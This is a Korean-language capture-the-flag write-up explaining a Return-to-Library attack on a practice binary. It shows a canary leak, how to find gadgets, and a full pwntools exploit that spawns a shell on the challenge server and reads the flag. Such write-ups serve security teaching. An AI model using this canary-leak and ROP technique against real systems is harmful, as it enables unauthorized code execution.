Return to Library (RTL)
NX blocks shellcode, so the return address goes to a libc function instead. PIE is off, so the offsets hold.
이번 문제에서는 NX를 우회하는 공격 기법으로 널리 알려진 Return To Library(RTL)를 학습합니다.
첫 번째로 checksec 를 사용해 보호기법을 훑어봅시다. 여기서 ASLR 이 언급되지 않는다면, 적용된 것으로 이해하면 됩니다. 하지만 PIE 가 꺼져 있는 실행 파일은 ASLR 이 켜져 있어도 메인 바이너리의 코드 세그먼트와 데이터 세그먼트 주소가 고정됩니다.
ASLR ON + PIE OFF
→ libc, stack, heap 등은 랜덤화될 수 있음
→ 하지만 메인 바이너리의 코드/데이터 주소는 고정
→ 바이너리 안의 "/bin/sh" 주소도 고정
ASLR ON + PIE ON
→ 메인 바이너리 자체도 랜덤화
→ "/bin/sh" 주소도 매번 바뀜
일단 카나리부터 구합시다. %s 는 문자열을 출력할 때 null byte 인 \x00 을 만날 때까지 계속 출력합니다. 그래서 여기서는 buf 시작 주소부터 canary 시작 위치까지를 구해야 합니다.
(rbp - 0x8) - (rbp - 0x40) = 0x38 = 56
즉 10진수로 56… 카나리의 시작인 \x00 를 덮으려면 A * 57 를 해야 한다는 것을 알 수 있습니다. 일단 카나리 먼저:
지금부터 RTL 을 사용합니다. NX 가 켜져 있으면 stack 에 넣은 shellcode 를 실행하는 방식은 안 됩니다. 하지만 지금 말한 방식은 shellcode 실행이 아니라 이미 존재하는 코드인 system() 을 재사용하는 RTL / ROP 방식입니다. 그래서 NX 를 우회할 수 있습니다. 핵심 차이는 이겁니다.
일반 stack shellcode 공격:
buf 안에 shellcode를 넣음
→ return address를 buf 주소로 덮음
→ stack의 코드를 실행
→ NX 때문에 막힘
반면에 지금 방식은 RTL / ROP 공격:
stack에는 shellcode를 넣지 않음
→ return address를 system@plt 주소로 덮음
→ 이미 실행 가능한 코드 영역의 system()을 호출
→ 인자로 "/bin/sh" 주소 전달
→ NX와 직접 충돌하지 않음
현재 필요한 값은 4개입니다: canary, system@plt 주소, “/bin/sh” 주소, ret gadget 주소.
왜 pop rdi; ret 가 필요하냐면, 64-bit Linux 에서는 함수 첫 번째 인자를 rdi 레지스터로 전달합니다. 즉 system("/bin/sh") 를 호출하려면 rdi = "/bin/sh" 주소, rip = system@plt 가 되어야 합니다.
일단 0x0000000000400754 <+93>: call 0x4005d0 <system@plt> 이므로 system@plt 의 주소는 0x4005d0.
/bin/sh 는 전역 변수로 들어가 있습니다.
const char* binsh = "/bin/sh";
PIE 가 꺼져 있다면 이 주소는 고정입니다. gdb 에서 이렇게 확인하면 됩니다.
(gdb) p &binsh
(gdb) p binsh
(gdb) x/s binsh
주의할 점은 &binsh 와 binsh 가 다릅니다.
&binsh= binsh 포인터 변수 자체의 주소binsh= “/bin/sh” 문자열이 있는 주소
공격에 필요한 것은 binsh 값, 즉 “/bin/sh” 문자열 주소입니다.
즉 0x400874.
이제 리턴 가젯을 찾아야 합니다. 터미널에서 보통 이렇게 찾습니다.
ROPgadget --binary ./rtl | grep "pop rdi"
# 또는
ropper --file ./rtl --search "pop rdi"
예를 들어 결과가 이렇게 나오면:
0x0000000000400853 : pop rdi ; ret
그러면 pop_rdi = 0x400853 입니다.
from pwn import *
context.arch = "amd64"
context.os = "linux"
e = ELF("./rtl")
HOST = "host3.dreamhack.games"
PORT = 8390
p = remote(HOST, PORT)
system_plt = e.plt["system"]
binsh = 0x400874
rop = ROP(e)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = rop.find_gadget(["ret"])[0]
log.info(f"system@plt = {hex(system_plt)}")
log.info(f"pop rdi = {hex(pop_rdi)}")
log.info(f"ret = {hex(ret)}")
log.info(f"binsh = {hex(binsh)}")
# 1. leak canary
p.recvuntil(b"Buf: ")
payload = b"A" * 0x39
p.send(payload)
p.recvuntil(b"A" * 0x39)
leak = p.recvn(7)
cnry = u64(b"\x00" + leak)
log.success(f"canary = {hex(cnry)}")
# 2. exploit
p.recvuntil(b"Buf: ")
payload = b"A" * 0x38
payload += p64(cnry)
payload += b"B" * 0x8
payload += p64(ret) # stack alignment
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.send(payload)
p.sendline(b"cat flag")
p.interactive() 



